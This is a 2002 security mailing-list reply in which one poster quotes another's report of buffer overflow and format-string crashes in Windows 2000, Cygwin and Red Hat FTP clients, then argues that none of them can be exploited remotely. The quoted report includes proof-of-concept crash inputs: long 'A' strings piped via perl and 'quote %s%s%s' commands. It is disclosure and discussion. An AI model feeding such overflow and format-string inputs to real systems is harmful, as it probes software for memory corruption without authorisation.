Re: Multiple Local Vulnerabilities in some FTP Client.Who can exploit it by remote?

From: Stan Bubrouski (stanat_private)
Date: Sun May 05 2002 - 13:02:08 PDT

  • Next message: SpaceWalker: "Re: Multiple Local Vulnerabilities in some FTP Client.Who can exploit it by remote?"

    lion wrote:
    > Multiple vuln-devLocal Vulnerabilities in some FTP Client.
    > 
    > 
    > 1.	Windows 2000 and other Version FTP Client Overflows and Format String Vulnerability.
    > a.
    > d:\>perl -e "printf 'A'x3000"|ftp
    > Invalid command.
    > ftp>
    > 
    > will see the 0x4141414d memory addr not be read erroor.
    > 
    > d:\>perl -e "printf 'open '. 'A'x3000"|ftp
    > Already connected to (null), use disconnect first.
    > 
    
    This is a client-side bug the client themselves would have to exploit,
    making it irrelevent.
    
    > will see the 0x4141414d memory addr not be read erroor.
    > 
    > b.
    > d:\>ftp localhost
    > Connected to lion.
    > 220 lion Microsoft FTP Service (Version 5.0).
    > User (lion:(none)): ftp
    > 331 Anonymous access allowed, send identity (e-mail name) as password.
    > Password:
    > 230 Anonymous user logged in.
    > ftp> debug
    > Debugging On .
    > ftp> cd  AAAAAAAAAAˇ­ˇ­ ('A' x 500)
    > 500 Command was too long
    > 421 Terminating connection.
    > Connection closed by remote host.
    > ftp> debug
    > Debugging On .
    > ftp> open localhost
    > Connected to lion.
    > 220 lion Microsoft FTP Service (Version 5.0).
    > User (lion:(none)): ftp
    > ---> USER ftp
    > 331 Anonymous access allowed, send identity (e-mail name) as password.
    > Password:
    > ---> PASS f
    > 230 Anonymous user logged in.
    > ftp> cd AAAAAAAAAAAAAAAAˇ­ˇ­('A'x 2000)
    > 
    > will see the 0x41414141 memory addr not be read erroor.
    > 
    
    Client-side, again no remote threat.
    
    > ftp> ls AAAAAAAAAAAAAAAAˇ­ˇ­('A'x 2000)
    > ---> PORT 127,0,0,1,4,114
    > 200 PORT command successful.
    > ---> NLST AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAˇ­ˇ­..
    > 
    > will see the 0x41414141 memory addr not be read erroor.
    > 
    
    Client-side, again no remote threat.
    
    > c.
    > d:\>ftp localhost
    > Connected to lion.
    > 220 lion Microsoft FTP Service (Version 5.0).
    > User (lion:(none)): ftp
    > 331 Anonymous access allowed, send identity (e-mail name) as password.
    > Password:
    > 230 Anonymous user logged in.
    > ftp> debug
    > Debugging On .
    > ftp> quote %s
    > ---> quote %s
    > 500 'QUOTE %s': command not understood
    > ftp> quote %s%s%s
    > ---> quote %s%s%s?(null)
    > 500 'QUOTE %s%s%s (null)': command not understood
    > ftp> quote %s%s%s%s%s%s%s%s
    > --->
    > 
    > will see the 0x73257325 memory addr not be read erroor.
    > 
    > Use W32Dasm isamssemble the ftp.exe,  we can find the 
    > 780127A8   mov         dword ptr [eax],ecx
    > 
    > This is a character with win2000 Format Strings Vulnerability.
    > 
    
    Client-side, again no remote threat.
    
    > 2.	Cygwin version 2.194.2.21 and Redhat 6.2 FTP Client Format String Vulnerability.
    > 
    > lion@LION ~
    > $ ftp localhost
    > Connected to lion.
    > 220 lion Microsoft FTP Service (Version 5.0).
    > Name (localhost:lion): ftp
    > 331 Anonymous access allowed, send identity (e-mail name) as password.
    > Password:
    > 230 Anonymous user logged in.
    > Remote system type is Windows_NT.
    > ftp> debug
    > Debugging on (debug=1).
    > ftp> quote %s
    > ---> %s
    > 500 '%S': command not understood
    > ftp> quote %s%s%s%s%s%s%s
    > Segmentation fault (core dumped)
    > 
    > Who can exploit it by remote? 
    > Sorry for my poor English.:)
    > 
    > Lion 
    > lionat_private
    > HUC
    > 
    > 
    > 
    > 
    > 
    
    None of these bugs are remotely exploitable, and the Red Hat 6.2 FTP
    client was patched over a year ago and it was irrelent because it was
    client-side.  Never-the-less these bugs should be fixed at some point
    for stability of the FTP clients if nothing else.
    
    Best Regards,
    
    Stan Bubrouski
    



    This archive was generated by hypermail 2b30 : Sun May 05 2002 - 17:38:43 PDT